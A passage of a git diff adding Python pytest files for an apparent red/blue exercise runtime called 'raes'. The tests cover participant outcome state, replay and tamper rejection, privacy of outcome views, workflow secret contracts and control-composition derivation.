control_plane(store=LocalControlPlaneStore(path)) as restarted: + assert restarted.record_participant_outcome(update, identity=identity()) == receipt + assert restarted.snapshot.participant_outcome_history[PARTICIPANT_ADDRESS][0]["attainment"] == "attained" + + +def test_failed_store_commit_never_publishes_outcome_state(monkeypatch): + from raes_runtime.control_plane_store import InMemoryControlPlaneStore + + store = InMemoryControlPlaneStore(snapshot()) + with control_plane(store=store) as runtime: + + def fail(**kwargs): + raise OSError("simulated store failure") + + monkeypatch.setattr(store, "commit_participant_transition", fail) + update, principal = request(), identity() + with pytest.raises(OSError): + runtime.record_participant_outcome(update, identity=principal) + assert store.load_snapshot().participant_outcome_history == {} + assert not any(event.action == "record_participant_outcome" for event in store.read_audit()) + + +def test_wrong_rule_binding_cannot_add_a_report(): + with control_plane() as runtime: + update = request().model_copy(update={"rule_address": "private:unknown"}) + principal = identity() + with pytest.raises(ValueError, match="binding"): + runtime.record_participant_outcome(update, identity=principal) + assert runtime.snapshot.participant_outcome_history == {} + + +def test_participant_views_do_not_leak_local_criteria_or_outcome_reports(): + scenario = local_scenario() + scenario["outcome_interpretation_rules"]["scan-evidence-objective"]["local_outcome"]["criterion_basis"] = ( + "private-criterion-canary" + ) + model = compile_runtime_model(parse_sdl(yaml.safe_dump(scenario))) + with RuntimeControlPlane( + create_stub_target(), participant_outcome_model=model, initial_snapshot=snapshot() + ) as runtime: + runtime.record_participant_outcome(request(), identity=identity()) + views = [ + runtime.get_participant_status_view(PARTICIPANT_ADDRESS), + runtime.get_participant_history_view(PARTICIPANT_ADDRESS, EPISODE_ID), + ] + for view in views: + rendered = view.model_dump_json() + assert "private-criterion-canary" not in rendered + assert "local-task" not in rendered + assert "report-1" not in rendered + + +@pytest.mark.parametrize("binding", ["other-participant", "other-role", "unbound-rule"]) +def test_declared_rule_requires_applicable_behavior_specification(binding): + from copy import deepcopy + + scenario = local_scenario() + scenario["entities"]["blue-team"] = {"role": "blue"} + scenario["agents"]["blue-agent"] = deepcopy(scenario["agents"]["red-agent"]) + scenario["agents"]["blue-agent"]["affiliations"] = ["blue-team"] + specification = scenario["behavior_specifications"]["local-task"] + if binding == "other-participant": + specification["participant_refs"] = ["blue-agent"] + elif binding == "other-role": + specification["participant_refs"] = [] + specification["participant_role_refs"] = ["blue"] + else: + specification["outcome_interpretation_rule_refs"] = [] + model = compile_runtime_model(parse_sdl(yaml.safe_dump(scenario))) + with RuntimeControlPlane( + create_stub_target(), participant_outcome_model=model, initial_snapshot=snapshot() + ) as runtime: + update, principal = request(), identity() + with pytest.raises(ValueError, match="binding"): + runtime.record_participant_outcome(update, identity=principal) + assert runtime.snapshot.participant_outcome_history == {} + + +@pytest.mark.parametrize("role_source", ["affiliation", "explicit", "standalone"]) +def test_role_bound_behavior_specification_admits_its_outcome_rule(role_source): + scenario = local_scenario() + participant = scenario["agents"]["red-agent"] + if role_source != "affiliation": + participant["role"] = "red" + scenario["entities"]["red-team"]["role"] = "blue" + if role_source == "standalone": + participant["affiliations"] = [] + specification = scenario["behavior_specifications"]["local-task"] + specification["participant_refs"] = [] + specification["participant_role_refs"] = ["red"] + model = compile_runtime_model(parse_sdl(yaml.safe_dump(scenario))) + with RuntimeControlPlane( + create_stub_target(), participant_outcome_model=model, initial_snapshot=snapshot() + ) as runtime: + runtime.record_participant_outcome(request(), identity=identity()) + assert runtime.snapshot.participant_outcome_history[PARTICIPANT_ADDRESS][0]["attainment"] == "attained" + + +@pytest.mark.parametrize("role", [ControlPlaneRole.BACKEND, ControlPlaneRole.OPERATOR, ControlPlaneRole.AUDITOR]) +def test_generic_snapshot_api_does_not_disclose_private_outcome_history(role): + from raes_runtime.control_plane_api import create_control_plane_app + from raes_runtime.control_plane_security import ControlPlaneSecurityConfig + from starlette.testclient import TestClient + + with control_plane() as runtime: + runtime.record_participant_outcome(request(), identity=identity()) + security = ControlPlaneSecurityConfig( + trust_proxy_identity_headers=True, + trusted_identities={"reader": ControlPlaneIdentity("reader", frozenset({role}), "stub")}, + ) + with TestClient(create_control_plane_app(runtime, security=security)) as client: + response = client.get( + "/snapshot", + headers={"x-raes-client-verified": "true", "x-raes-client-identity": "reader"}, + ) + assert runtime.snapshot.participant_outcome_history[PARTICIPANT_ADDRESS] + assert response.status_code == 200 + assert response.json().get("participant_outcome_history", {}) == {} + assert "local-task" not in response.text + assert "report-1" not in response.text diff --git a/implementations/python/tests/test_act_618_outcome_definition.py b/implementations/python/tests/test_act_618_outcome_definition.py new file mode 100644 index 000000000..05976c1dc --- /dev/null +++ b/implementations/python/tests/test_act_618_outcome_definition.py @@ -0,0 +1,97 @@ +"""ACT-618 local definitions extend SEM-215 without weakening legacy rules.""" + +from copy import deepcopy + +import pytest +import yaml +from pydantic import ValidationError +from raes._errors import SDLParseError, SDLValidationError +from raes.parser import parse_sdl +from raes.participant_outcome_semantics import OutcomeInterpretationRule +from raes_processor.compiler import compile_runtime_model +from test_sem_215_participant_outcome_interpretation import RULE_ADDRESS, _scenario_yaml + + +def local_scenario() -> dict: + payload = yaml.safe_load(_scenario_yaml()) + rule = payload["outcome_interpretation_rules"]["scan-evidence-objective"] + rule["semantic_version"] = "2.0.0" + rule["target_bindings"] = [] + rule["local_outcome"] = { + "model_version": "1.0.0", + "category": "task_completion", + "criterion_basis": "The declared task requires independently evidenced effects.", + "criteria": [{"criterion_id": "scan", "source_id": "local-action", "effect_id": "scan-evidence"}], + "conflict_policy": "retain_until_explicit_correction", + "freshness_policy": "exact_observation_cut", + "episode_policy": "reset_without_transfer", + } + payload["behavior_specifications"] = { + "local-task": { + "semantic_version": "1.0.0", + "participant_refs": ["red-agent"], + "action_contract_refs": ["scan"], + "outcome_interpretation_rule_refs": ["scan-evidence-objective"], + } + } + return payload + + +def test_local_definition_compiles_without_downstream_result() -> None: + model = compile_runtime_model(parse_sdl(yaml.safe_dump(local_scenario()))) + rule = model.outcome_interpretation_rules[RULE_ADDRESS] + assert rule.target_refs == () + assert rule.spec["local_outcome"]["category"] == "task_completion" + assert rule.source_refs[0] == "participant.action-contract.scan" + + +@pytest.mark.parametrize("field,value", [("source_id", "missing"), ("effect_id", "missing")]) +def test_local_criteria_require_declared_source_and_effect(field: str, value: str) -> None: + payload = local_scenario() + payload["outcome_interpretation_rules"]["scan-evidence-objective"]["local_outcome"]["criteria"][0][field] = value + source = yaml.safe_dump(payload) + with pytest.raises((SDLParseError, SDLValidationError)): + parse_sdl(source) + + +def test_legacy_rule_still_requires_downstream_target() -> None: + rule = deepcopy(local_scenario()["outcome_interpretation_rules"]["scan-evidence-objective"]) + rule.pop("local_outcome") + with pytest.raises(ValidationError): + OutcomeInterpretationRule.model_validate(rule) + + +def test_local_definition_requires_explicit_rule_version() -> None: + rule = local_scenario()["outcome_interpretation_rules"]["scan-evidence-objective"] + rule["semantic_version"] = "1.0.0" + with pytest.raises(ValidationError): + OutcomeInterpretationRule.model_validate(rule) + + +def test_portable_rule_schema_preserves_legacy_target_requirement() -> None: + from jsonschema import Draft202012Validator + + rule = local_scenario()["outcome_interpretation_rules"]["scan-evidence-objective"] + rule.pop("local_outcome") + assert list(Draft202012Validator(OutcomeInterpretationRule.model_json_schema()).iter_errors(rule)) + + +def test_module_composition_preserves_local_criterion_source_binding(tmp_path) -> None: + from raes.parser import parse_sdl_file + + payload = local_scenario() + payload["module"] = { + "id": "acme/outcome-test", + "version": "1.0.0", + "exports": { + "action_contracts": ["scan"], + "outcome_interpretation_rules": ["scan-evidence-objective"], + }, + } + (tmp_path / "module.yaml").write_text(yaml.safe_dump(payload)) + root = tmp_path / "root.yaml" + root.write_text("name: root\nimports:\n - source: local:module.yaml\n namespace: shared\n") + scenario = parse_sdl_file(root) + rule = scenario.outcome_interpretation_rules["shared.scan-evidence-objective"] + assert rule.source_bindings[0].ref == "shared.scan" + assert rule.local_outcome.criteria[0].source_id == "local-action" diff --git a/implementations/python/tests/test_act_618_outcome_state.py b/implementations/python/tests/test_act_618_outcome_state.py new file mode 100644 index 000000000..3d69741c2 --- /dev/null +++ b/implementations/python/tests/test_act_618_outcome_state.py @@ -0,0 +1,309 @@ +"""Local outcome production, replay, evidence conflict and episode boundaries.""" + +from copy import deepcopy + +import pytest +import yaml +from raes.parser import parse_sdl +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_processor.compiler import compile_runtime_model +from test_act_618_outcome_definition import local_scenario +from test_sem_215_participant_outcome_interpretation import ( + EPISODE_ID, + PARTICIPANT_ADDRESS, + RULE_ADDRESS, + T0, + ParticipantActionResultStatus, + _history_payloads, +) + + +def rule(): + return compile_runtime_model(parse_sdl(yaml.safe_dump(local_scenario()))).outcome_interpretation_rules[RULE_ADDRESS] + + +def snapshot(*, effect_class="evidence_effect", effects=True): + from raes_backend_protocols.participant_runtime_base import BaseParticipantRuntime + from raes_contracts.participant_episode import ParticipantEpisodeInitializeRequest + + events = _history_payloads(status=ParticipantActionResultStatus.SUCCEEDED) + events[-1]["outcome_interpretations"] = [] + events[-1]["action_result"]["effects"] = events[-1]["action_result"]["effects"][:1] if effects else [] + if effects: + events[-1]["action_result"]["effects"][0]["effect_class"] = effect_class + initial = ( + BaseParticipantRuntime() + .initialize( + ParticipantEpisodeInitializeRequest(participant_address=PARTICIPANT_ADDRESS, episode_id=EPISODE_ID), + RuntimeSnapshot(), + ) + .snapshot + ) + return initial.with_entries( + {}, + participant_behavior_history={PARTICIPANT_ADDRESS: events}, + ) + + +def produce(state, **kwargs): + from raes_runtime.participant_outcome_state import ParticipantOutcomeUpdateRequest, produce_participant_outcome + + fields = dict( + participant_address=PARTICIPANT_ADDRESS, + episode_id=EPISODE_ID, + outcome_id="local-task", + event_id="report-1", + expected_revision=0, + rule_address=RULE_ADDRESS, + expected_snapshot_revision=0, + ) + return produce_participant_outcome( + state, + rule(), + ParticipantOutcomeUpdateRequest(**(fields | kwargs)), + timestamp=T0, + actor_ref="operator", + authorization_scope="runtime:control", + ) + + +def test_actual_effect_produces_local_attainment_without_downstream_result(): + report = produce(snapshot()) + assert report.category == "task_completion" + assert report.attainment == "attained" + assert report.knowledge == "supported" + assert report.state_relationships == [] + + +def test_action_success_does_not_establish_local_attainment(): + report = produce(snapshot(effects=False)) + assert report.attainment == "undetermined" + assert report.knowledge == "unknown" + + +def test_conflicting_effect_evidence_is_retained(): + state = snapshot() + other = deepcopy(state.participant_behavior_history[PARTICIPANT_ADDRESS]) + for event in other: + event["action_instance_id"] = "scan-0002" + other[-1]["action_result"]["action_instance_id"] = "scan-0002" + other[-1]["action_result"]["observation_point"] = "observation:2" + other[-1]["action_result"]["effects"][0]["effect_class"] = "no_effect" + state.participant_behavior_history[PARTICIPANT_ADDRESS].extend(other) + report = produce(state) + assert report.attainment == "undetermined" + assert report.knowledge == "conflicting" + assert len(report.observation_refs) == 2 + + +def test_wrong_episode_is_rejected(): + state = snapshot() + state.participant_episode_results[PARTICIPANT_ADDRESS]["episode_id"] = "episode-2" + with pytest.raises(ValueError, match="episode"): + produce(state) + + +def test_wrong_nested_participant_is_rejected_without_echoing_evidence(): + state = snapshot() + state.participant_behavior_history[PARTICIPANT_ADDRESS][-1]["action_result"]["participant_address"] = ( + "private-secret" + ) + with pytest.raises(ValueError, match="binding") as error: + produce(state) + assert "private-secret" not in str(error.value) + + +def recorded_snapshot(): + state = snapshot() + report = produce(state) + return state.with_entries({}, participant_outcome_history={PARTICIPANT_ADDRESS: [report.model_dump(mode="json")]}) + + +def test_outcome_history_survives_snapshot_copy_and_store_codec(): + from raes_runtime.control_plane_store_snapshots import _snapshot_from_payload, _snapshot_payload + + state = recorded_snapshot() + restored = _snapshot_from_payload(_snapshot_payload(state)) + assert restored.participant_outcome_history == state.participant_outcome_history + assert restored.with_entries({}).participant_outcome_history == state.participant_outcome_history + + +def test_replay_rejects_tampered_attainment(): + state = recorded_snapshot() + history = deepcopy(state.participant_outcome_history) + history[PARTICIPANT_ADDRESS][0]["attainment"] = "not_attained" + with pytest.raises(ValueError, match="disagrees"): + state.with_entries({}, participant_outcome_history=history) + + +def test_current_projection_becomes_absent_on_reset_and_preserves_history(): + from raes_runtime.participant_outcome_state import current_participant_outcome + + state = recorded_snapshot() + assert current_participant_outcome(state, PARTICIPANT_ADDRESS, "local-task")[1] == "current" + state.participant_episode_results[PARTICIPANT_ADDRESS]["episode_id"] = "episode-2" + assert current_participant_outcome(state, PARTICIPANT_ADDRESS, "local-task") == (None, "absent") + assert len(state.participant_outcome_history[PARTICIPANT_ADDRESS]) == 1 + + +def test_stale_predecessor_cannot_overwrite_current_report(): + state = recorded_snapshot() + with pytest.raises(ValueError, match="stale"): + produce(state) + + +def test_new_observation_cut_makes_previous_report_stale(): + from raes_runtime.participant_outcome_state import current_participant_outcome + + state = recorded_snapshot() + event = deepcopy(state.participant_behavior_history[PARTICIPANT_ADDRESS][0]) + event["action_instance_id"] = "scan-0002" + state.participant_behavior_history[PARTICIPANT_ADDRESS].append(event) + assert current_participant_outcome(state, PARTICIPANT_ADDRESS, "local-task")[1] == "stale" + + +def test_explicit_correction_appends_without_rewriting_prior_report(): + state = recorded_snapshot() + previous = deepcopy(state.participant_outcome_history) + excluded = [previous[PARTICIPANT_ADDRESS][0]["observation_refs"][0]["observation_point"]] + report = produce( + state, + event_id="report-2", + expected_revision=1, + excluded_observation_refs=excluded, + correction_basis="provenance:retracted-capture", + ) + assert report.knowledge == "unknown" + assert report.predecessor_event_ref == "report-1" + assert state.participant_outcome_history == previous + + +@pytest.mark.parametrize( + "effect_class,attainment,knowledge", + [ + ("no_effect", "not_attained", "supported"), + ("unknown_effect", "undetermined", "unknown"), + ], +) +def test_negative_and_unknown_evidence_have_distinct_meanings(effect_class, attainment, knowledge): + report = produce(snapshot(effect_class=effect_class)) + assert (report.attainment, report.knowledge) == (attainment, knowledge) + + +def test_wire_roundtrip_replays_identical_history_with_normalized_defaults(): + from raes_contracts.contracts import RuntimeSnapshotEnvelopeModel + from raes_runtime.control_plane_store_snapshots import _snapshot_from_payload, _snapshot_payload + + state = recorded_snapshot() + wire = RuntimeSnapshotEnvelopeModel.model_validate(_snapshot_payload(state)) + restored = _snapshot_from_payload(wire.model_dump(mode="json")) + assert restored.participant_outcome_history == state.participant_outcome_history + + +def test_backend_history_transition_cannot_erase_local_outcomes(): + from raes_runtime.participant_result_contracts import participant_runtime_history_transition_diagnostics + + state = recorded_snapshot() + following = state.with_entries({}, participant_outcome_history={}) + diagnostics = participant_runtime_history_transition_diagnostics(state, following) + assert any("outcome" in diagnostic.message for diagnostic in diagnostics) + + +def test_mutated_snapshot_report_is_rejected_at_backend_boundary(): + from raes_runtime.participant_result_contracts import participant_runtime_state_contract_diagnostics + + state = recorded_snapshot() + state.participant_outcome_history[PARTICIPANT_ADDRESS][0]["attainment"] = "not_attained" + diagnostics = participant_runtime_state_contract_diagnostics(state) + assert any("outcome" in diagnostic.message for diagnostic in diagnostics) + + +def test_partial_attainment_is_separate_from_unknown_knowledge(): + from raes_runtime.participant_outcome_state import ParticipantOutcomeUpdateRequest, produce_participant_outcome + + scenario = local_scenario() + definition = scenario["outcome_interpretation_rules"]["scan-evidence-objective"]["local_outcome"] + definition["criteria"].append( + {"criterion_id": "alert", "source_id": "local-action", "effect_id": "detection-alert"} + ) + compiled = compile_runtime_model(parse_sdl(yaml.safe_dump(scenario))).outcome_interpretation_rules[RULE_ADDRESS] + report = produce_participant_outcome( + snapshot(), + compiled, + ParticipantOutcomeUpdateRequest( + participant_address=PARTICIPANT_ADDRESS, + episode_id=EPISODE_ID, + outcome_id="local-task", + event_id="report-1", + expected_revision=0, + rule_address=RULE_ADDRESS, + expected_snapshot_revision=0, + ), + timestamp=T0, + actor_ref="operator", + authorization_scope="role:operator", + ) + assert (report.attainment, report.knowledge) == ("partial", "unknown") + + +def test_withheld_action_does_not_disclose_an_attained_outcome(): + state = snapshot() + state.participant_behavior_history[PARTICIPANT_ADDRESS][-1]["action_result"]["status"] = "withheld" + report = produce(state) + assert (report.attainment, report.knowledge, report.evidence_refs) == ("undetermined", "withheld", []) + + +def test_live_episode_map_key_cannot_hide_a_different_participant(): + state = snapshot() + state.participant_episode_results[PARTICIPANT_ADDRESS]["participant_address"] = "participant.behavior.other" + with pytest.raises(ValueError, match="binding"): + produce(state) + + +def test_v1_decoder_preserves_historical_record_without_synthetic_local_state(): + import json + from pathlib import Path + + from raes_contracts.contracts.participant_outcomes import decode_participant_outcome_report + + root = Path(__file__).resolve().parents[3] + payload = json.loads( + ( + root + / "contracts/fixtures/participant-runtime/participant-outcome-report-v1/valid/exfiltration-outcome.json" + ).read_text() + ) + decoded = decode_participant_outcome_report(payload) + assert decoded.model_dump(mode="json") == payload + assert not hasattr(decoded, "attainment") + with pytest.raises(ValueError, match="unsupported"): + decode_participant_outcome_report(payload | {"schema_version": "9.0.0"}) + + +def test_conformance_snapshot_projection_preserves_sibling_control_history(): + from raes_conformance.conformance.snapshot_semantics import _snapshot_from_envelope + from raes_runtime.control_plane_store_snapshots import _snapshot_payload + from test_run_310_supervisory_lifecycle import _control_event + + state = recorded_snapshot() + state.participant_control_history[PARTICIPANT_ADDRESS] = [_control_event("control-1")] + restored = _snapshot_from_envelope(_snapshot_payload(state)) + assert restored.participant_control_history[PARTICIPANT_ADDRESS][0]["event_id"] == "control-1" + assert restored.participant_outcome_history == state.participant_outcome_history + + +def test_real_episode_reset_preserves_reports_without_carrying_attainment(): + from raes_backend_protocols.participant_runtime_base import BaseParticipantRuntime + from raes_contracts.participant_episode import ParticipantEpisodeResetRequest + from raes_runtime.participant_outcome_state import current_participant_outcome + + state = recorded_snapshot() + result = BaseParticipantRuntime().reset( + ParticipantEpisodeResetRequest( + participant_address=PARTICIPANT_ADDRESS, episode_id="episode-2", reason="new trial" + ), + state, + ) + assert result.success + assert result.snapshot.participant_outcome_history == state.participant_outcome_history + assert current_participant_outcome(result.snapshot, PARTICIPANT_ADDRESS, "local-task") == (None, "absent") diff --git a/implementations/python/tests/test_action_policy_reusable_secrets.py b/implementations/python/tests/test_action_policy_reusable_secrets.py new file mode 100644 index 000000000..3ad38e9d7 --- /dev/null +++ b/implementations/python/tests/test_action_policy_reusable_secrets.py @@ -0,0 +1,41 @@ +"""Reusable workflow calls use the target's own input/secret contract.""" + +from tools.tooling_artifact_policy_actions import _target_contract_invalid + + +def _target(*, required: bool = False) -> dict: + return { + "on": {"workflow_call": {"inputs": {"ref": {"required": True}}, "secrets": {"token": {"required": required}}}} + } + + +def test_declared_optional_secret_is_admitted() -> None: + assert not _target_contract_invalid(_target(), {"with": {"ref": "sha"}, "secrets": {"token": "value"}}) + + +def test_optional_secret_can_be_omitted() -> None: + assert not _target_contract_invalid(_target(), {"with": {"ref": "sha"}}) + + +def test_missing_required_secret_is_rejected() -> None: + assert _target_contract_invalid(_target(required=True), {"with": {"ref": "sha"}}) + + +def test_undeclared_secret_is_rejected() -> None: + assert _target_contract_invalid(_target(), {"with": {"ref": "sha"}, "secrets": {"other": "value"}}) + + +def test_secret_inherit_is_rejected() -> None: + assert _target_contract_invalid(_target(), {"with": {"ref": "sha"}, "secrets": "inherit"}) + + +def test_missing_required_input_is_rejected() -> None: + assert _target_contract_invalid(_target(), {}) + + +def test_undeclared_input_is_rejected() -> None: + assert _target_contract_invalid(_target(), {"with": {"ref": "sha", "other": "value"}}) + + +def test_non_reusable_target_is_rejected() -> None: + assert _target_contract_invalid({"on": "push"}, {}) diff --git a/implementations/python/tests/test_api_424_capability_admission.py b/implementations/python/tests/test_api_424_capability_admission.py new file mode 100644 index 000000000..e03340ee1 --- /dev/null +++ b/implementations/python/tests/test_api_424_capability_admission.py @@ -0,0 +1,66 @@ +"""Use real backend manifest admission, never method-presence support guesses.""" + +from dataclasses import replace + +import pytest +from participant_control_contract_fixtures import evaluation_payload +from raes_backend_protocols.capabilities import BackendManifest, ParticipantFeatureSupport +from raes_backend_protocols.manifest import backend_manifest_v2_model +from raes_backend_stubs.stubs import create_stub_manifest +from raes_contracts.contracts.participant_control_composition import ParticipantControlEvaluationModel, control_digest +from raes_contracts.vocabulary import ParticipantFeatureSupportLevel + + +def manifest_with_modular_support(): + base = create_stub_manifest() + feature = "participant_modular_control" + runtime = replace( + base.participant_runtime, + supported_behavior_features=base.participant_runtime.supported_behavior_features | {feature}, + feature_support=tuple(s for s in base.participant_runtime.feature_support if s.feature != feature) + + ( + ParticipantFeatureSupport( + feature=feature, support_level=ParticipantFeatureSupportLevel.EXACT, evidence_refs=("support-evidence",) + ), + ), + ) + return BackendManifest( + identity=base.identity, + compatibility=base.compatibility, + supported_contract_versions=base.supported_contract_versions + | {"participant-control-selection-v1", "participant-control-evaluation-v1"}, + realization_support=base.realization_support, + concept_bindings=base.concept_bindings, + constraints=base.constraints, + capabilities=replace(base.capabilities, participant_runtime=runtime), + ) + + +def test_exact_manifest_declaration_resolves_but_does_not_install_provider(): + from raes_backend_protocols.participant_control_admission import resolve_participant_control_support + + manifest = manifest_with_modular_support() + payload = evaluation_payload() + payload["support"][0]["declaration_ref"]["digest"] = control_digest(backend_manifest_v2_model(manifest)) + record = ParticipantControlEvaluationModel.model_validate(payload) + assert resolve_participant_control_support(manifest, record.support[0]) == "exact" + + +def test_manifest_content_mismatch_rejects_dishonest_claim(): + from raes_backend_protocols.participant_control_admission import resolve_participant_control_support + + record = ParticipantControlEvaluationModel.model_validate(evaluation_payload()) + manifest = manifest_with_modular_support() + with pytest.raises(ValueError, match="participant control"): + resolve_participant_control_support(manifest, record.support[0]) + + +def test_unimplemented_stub_does_not_gain_modular_support(): + from raes_backend_protocols.participant_control_admission import resolve_participant_control_support + + manifest = create_stub_manifest() + payload = evaluation_payload() + payload["support"][0]["declaration_ref"]["digest"] = control_digest(backend_manifest_v2_model(manifest)) + record = ParticipantControlEvaluationModel.model_validate(payload) + with pytest.raises(ValueError): + resolve_participant_control_support(manifest, record.support[0]) diff --git a/implementations/python/tests/test_api_424_composition_boundaries.py b/implementations/python/tests/test_api_424_composition_boundaries.py new file mode 100644 index 000000000..193f1ec97 --- /dev/null +++ b/implementations/python/tests/test_api_424_composition_boundaries.py @@ -0,0 +1,100 @@ +"""Negative witnesses for exact dependencies, bounds and owning domains.""" + +from copy import deepcopy + +import pytest +from participant_control_contract_fixtures import evaluation_payload +from pydantic import ValidationError +from raes_contracts._canonical import canonical_json_digest +from raes_contracts.contracts.participant_control_composition import ParticipantControlEvaluationModel + + +def refresh(payload): + bindings = {b["instance_id"]: b for b in payload["request"]["selection"]["bindings"]} + for result in payload["results"]: + result["binding_digest"] = canonical_json_digest(bindings[result["instance_id"]]) + result["context_digest"] = canonical_json_digest(payload["request"]["context"]) + for support in payload["support"]: + support["context_digest"] = canonical_json_digest(payload["request"]["context"]) + + +def test_transitive_mandatory_dependency_cannot_hide_unresolved_advisory_fact(): + payload = evaluation_payload() + slots = payload["request"]["selection"]["slots"] + slots[0]["role"] = "advisory" + middle = deepcopy(slots[0]) + middle.update(slot_id="middle", dependencies=[{"slot_id": "fact", "kind": "ifc-fact"}]) + slots.append(middle) + slots[1]["dependencies"] = [{"slot_id": "middle", "kind": "ifc-fact"}] + result = deepcopy(payload["results"][0]) + result.update(result_id="result-middle", slot_id="middle") + payload["results"].append(result) + payload["results"][0].update(status="unknown", payload=None) + payload["composition"]["contributing_result_ids"] = ["result-fact", "result-middle", "result-rule"] + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + + +@pytest.mark.parametrize("bound", ["max_firings_per_rule", "max_depth"]) +def test_zero_remaining_trigger_bound_rejects_new_effect(bound): + payload = evaluation_payload() + payload["request"]["selection"]["bounds"][bound] = 0 + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + + +def test_ifc_result_requires_its_selected_domain(): + payload = evaluation_payload() + profile = payload["request"]["selection"]["bindings"][0]["profiles"][0] + from raes_contracts.participant_flow_policy_profiles import PARTICIPANT_BOUNDARY_FLOW_POLICY_PROFILE_REV1_DIGEST + + profile.update( + ref="participant-boundary-flow-policy-v1", digest=PARTICIPANT_BOUNDARY_FLOW_POLICY_PROFILE_REV1_DIGEST + ) + payload["request"]["selection"]["required_profiles"] = [profile["ref"]] + refresh(payload) + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + + +def test_knowledge_of_only_some_inputs_is_not_complete_propagation(): + payload = evaluation_payload() + payload["results"][0]["payload"]["source_refs"][0]["ref"] = "different-source" + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + + +def test_bounded_downgrade_remains_disclosed_not_eligible(): + payload = evaluation_payload() + from participant_control_contract_fixtures import ref + + payload["support"][0].update( + effective_level="bounded", + constraints=[ref("bounded-source", "constraint")], + downgrade_authority=ref("downgrade", "authority"), + ) + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + payload["composition"].update(disposition="weakened", blockers=["support:influence"]) + assert ParticipantControlEvaluationModel.model_validate(payload).support[0].effective_level == "bounded" + + +def test_profile_digest_must_resolve_the_published_revision(): + from raes_contracts.contracts.participant_control_selection import ParticipantControlSelectionModel + + payload = evaluation_payload()["request"]["selection"] + payload["bindings"][0]["profiles"][0]["digest"] = "sha256:" + "0" * 64 + with pytest.raises(ValidationError): + ParticipantControlSelectionModel.model_validate(payload) + + +def test_prior_firings_survive_retry_and_new_cut(): + payload = evaluation_payload() + payload["request"]["context"]["rule_firings"] = [ + {"rule_id": "hint-followup", "rule_revision": "rev1", "firing_epochs": ["epoch-0"]} + ] + refresh(payload) + with pytest.raises(ValidationError, match="per-rule firing budget"): + ParticipantControlEvaluationModel.model_validate(payload) + payload["results"][1]["payload"]["key"]["firing_epoch"] = "epoch-0" + assert ParticipantControlEvaluationModel.model_validate(payload).request.context.attempt == 1 diff --git a/implementations/python/tests/test_api_424_composition_derivation.py b/implementations/python/tests/test_api_424_composition_derivation.py new file mode 100644 index 000000000..dfe2a9a3e --- /dev/null +++ b/implementations/python/tests/test_api_424_composition_derivation.py @@ -0,0 +1,168 @@ +"""API-424 owns deriving a composition; RUN-320 must not reproduce its rules.""" + +import pytest +from participant_control_contract_fixtures import evaluation_payload, ref + + +def _request_results_support(payload): + from raes_contracts.contracts.participant_control_composition import ParticipantControlRequestModel + from raes_contracts.contracts.participant_control_results import ( + ControlEffectiveSupportModel, + ControlMechanismResultModel, + ) + + request = ParticipantControlRequestModel.model_validate(payload["request"]) + results = tuple(ControlMechanismResultModel.model_validate(item) for item in payload["results"]) + support = tuple(ControlEffectiveSupportModel.model_validate(item) for item in payload["support"]) + return request, results, support + + +def _derive(payload): + from raes_contracts.contracts.participant_control_composition import derive_control_composition + + request, results, support = _request_results_support(payload) + return derive_control_composition( + request, + results, + support, + incumbent_gate_disposition=payload["composition"]["incumbent_gate_disposition"], + incumbent_gate_evidence=ref("gate-evidence"), + ) + + +def _revalidated(payload, composition): + from raes_contracts.contracts.participant_control_composition import ParticipantControlEvaluationModel + + return ParticipantControlEvaluationModel.model_validate( + {**payload, "composition": composition.model_dump(mode="json")} + ) + + +def test_derivation_reproduces_the_published_eligible_composition(): + payload = evaluation_payload() + composition = _derive(payload) + assert composition.disposition == "eligible" + assert composition.blockers == () + assert composition.contributing_result_ids == ("result-fact", "result-rule") + _revalidated(payload, composition) + + +def test_derived_composition_always_satisfies_the_published_validator(): + payload = evaluation_payload() + payload["results"][0]["status"] = "missing" + payload["results"][0]["payload"] = None + composition = _derive(payload) + assert "slot:fact" in composition.blockers + assert composition.disposition != "eligible" + _revalidated(payload, composition) + + +@pytest.mark.parametrize( + "status,expected", + [ + ("stale", "stale"), + ("unsupported", "unsupported"), + ("weakened", "weakened"), + ("failed", "failed"), + ("missing", "failed"), + ("unknown", "failed"), + ], +) +def test_unsatisfied_mandatory_status_selects_its_exact_disposition(status, expected): + payload = evaluation_payload() + payload["results"][0]["status"] = status + payload["results"][0]["payload"] = None + composition = _derive(payload) + assert composition.disposition == expected + _revalidated(payload, composition) + + +@pytest.mark.parametrize("disposition", ["deny", "withhold", "abstain"]) +def test_mandatory_decision_disposition_is_retained(disposition): + payload = evaluation_payload() + payload["request"]["selection"]["slots"][1]["kind"] = "decision" + payload["results"][1]["payload"] = { + "kind": "decision", + "disposition": disposition, + "rule": ref("hint-followup", "rule"), + } + composition = _derive(payload) + assert composition.disposition == ("failed" if disposition == "abstain" else disposition) + assert "slot:rule" in composition.blockers + _revalidated(payload, composition) + + +def test_downgraded_support_is_weakened_not_eligible(): + payload = evaluation_payload() + payload["support"][0]["effective_level"] = "bounded" + payload["support"][0]["constraints"] = [ref("bounded-explicit-flows", "constraint")] + composition = _derive(payload) + assert composition.disposition == "weakened" + assert composition.blockers == ("support:influence",) + _revalidated(payload, composition) + + +def test_non_permit_incumbent_gate_blocks_without_any_provider_blocker(): + payload = evaluation_payload() + payload["composition"]["incumbent_gate_disposition"] = "deny" + composition = _derive(payload) + assert composition.blockers == ("incumbent-gates",) + assert composition.disposition == "deny" + _revalidated(payload, composition) + + +def test_incompatible_effect_requests_derive_conflict(): + from raes_contracts.contracts.participant_control_composition import control_digest + from raes_contracts.contracts.participant_control_selection import ControlMechanismBindingModel + + payload = evaluation_payload() + payload["request"]["selection"]["slots"].append( + { + "slot_id": "rival", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [], + } + ) + rival = dict(payload["results"][1]) + rival_payload = { + **rival["payload"], + "effect_id": "effect-2", + "key": {**rival["payload"]["key"], "slot": "rival"}, + "target": { + **rival["payload"]["target"], + "result_item_ref": "reflection-result-2", + }, + } + payload["results"].append( + { + **rival, + "result_id": "result-rival", + "slot_id": "rival", + "payload": rival_payload, + "binding_digest": control_digest( + ControlMechanismBindingModel.model_validate(payload["request"]["selection"]["bindings"][0]) + ), + } + ) + composition = 